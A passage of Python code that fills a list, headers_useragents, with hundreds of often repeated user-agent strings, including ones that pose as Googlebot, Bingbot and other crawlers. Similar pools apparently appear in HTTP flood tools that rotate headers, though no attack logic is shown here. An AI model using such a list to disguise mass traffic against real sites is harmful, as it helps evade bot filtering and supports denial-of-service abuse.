  2533.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2534.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2535.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2536.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2537.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2538.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2539.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2540.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2541.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2542.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2543.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2544.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2545.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2546.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2547.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2548.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2549.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2550.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2551.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2552.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2553.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2554.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2555.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2556.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2557.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2558.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2559.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2560.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2561.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2562.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2563.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2564.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2565.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2566.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2567.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2568.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2569.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2570.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2571.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2572.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2573.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2574.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2575.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2576.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2577.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2578.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2579.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2580.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2581.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2582.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2583.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2584.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2585.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2586.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2587.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2588.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2589.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2590.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2591.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2592.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2593.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2594.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2595.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2596.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2597.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2598.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2599.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2600.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2601.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2602.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2603.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2604.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2605.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2606.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2607.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2608.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2609.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2610.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2611.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2612.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2613.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2614.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2615.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2616.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2617.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2618.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2619.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2620.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2621.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2622.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2623.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2624.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2625.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2626.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2627.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2628.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2629.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2630.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2631.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2632.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2633.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2634.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2635.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2636.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2637.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2638.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2639.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2640.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2641.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2642.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2643.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2644.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2645.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2646.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2647.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2648.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2649.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2650.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2651.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2652.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2653.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2654.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2655.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2656.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2657.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2658.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2659.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2660.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2661.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2662.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2663.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2664.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2665.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2666.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2667.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2668.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2669.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2670.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2671.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2673.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2674.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2675.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2676.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2677.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2678.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2679.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2680.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2681.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2682.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2683.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2685.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2686.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2687.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2688.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2690.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2691.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2692.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2693.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2694.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2695.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2696.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2697.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2698.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2699.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2700.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2701.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2702.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2703.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2704.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2705.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2706.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2707.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2708.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2709.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2710.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2711.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2712.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2713.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2715.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2716.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2717.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2718.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2719.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2720.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2721.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2722.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2723.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2724.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2725.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2727.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2728.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2729.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2730.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2731.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2732.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
